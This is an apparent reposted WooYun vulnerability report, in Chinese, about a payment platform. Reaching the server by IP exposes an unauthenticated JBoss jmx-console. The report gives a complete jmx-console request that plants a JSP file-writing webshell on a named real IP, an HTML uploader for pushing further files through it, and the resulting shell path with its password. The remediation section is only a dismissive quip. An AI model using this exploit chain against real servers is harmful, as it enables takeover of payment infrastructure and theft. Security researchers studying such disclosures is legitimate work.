记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

某联支付平台绕过域名转跳未授权访问导致getshell(各种充值)

2014-10-29 19:42

易票联支付主页:

http://www.epaylinks.cn/www/index.jsp



如果访问http://www.epaylinks.cn/jmx-console/会出现错误信息,

那如果使用IP访问呢?



直接进入JBoss 可直接getshell。

11111111111.jpg





22222222222.jpg

漏洞证明:

http://210.21.94.48/为易票联支付同一服务器,通过以下方法getshell



code 区域
http://210.21.94.48/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=upload5warn.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True





以上访问会生成一个这样的路径文件“/upload5warn/shell.jsp”



再通过以下html可进行文件上传:



code 区域
<html>



<head>



<meta http-equiv="content-type" content="text/html;charset=utf-8">



<title>jsp-test</title>



</head>



<style>



.main{width:980px;height:600px;margin:0 auto;}



.url{width:300px;}



.fn{width:60px;}



.content{width:80%;height:60%;}



</style>



<script>



function upload(){



var url = document.getElementById('url').value,



content = document.getElementById('content').value,



fileName = document.getElementById('fn').value,



form = document.getElementById('fm');



if(url.length == 0){



alert("Url not allowd empty!");



return ;



}



if(content.length == 0){



alert("Content not allowd empty!");



return ;



}



if(fileName.length == 0){



alert("FileName not allowd empty!");



return ;



}



form.action = url;



form.submit();



}



</script>



<body>



<div class="main">



<form id="fm" method="post">



URL:<input type="text" value="http://url/upload5warn/shell.jsp" class="url" id="url" />



FileName:<input type="text" name="f" value="css.jsp" class="fn" id="fn" />



<a href="javascript:upload();">Upload</a><br/>



<textarea id="content" class="content" name="t" ></textarea>



</form>



</div>



</body>



</html>





code 区域
http://210.21.94.48/upload5warn/cssyun.jsp

密码为:1





aaaaaaaaaaaaa.jpg

修复方案:

你们懂的。


知识来源: www.wooyun.org/bugs/wooyun-2014-075938

阅读:99656 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“某联支付平台绕过域名转跳未授权访问导致getshell(各种充值)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云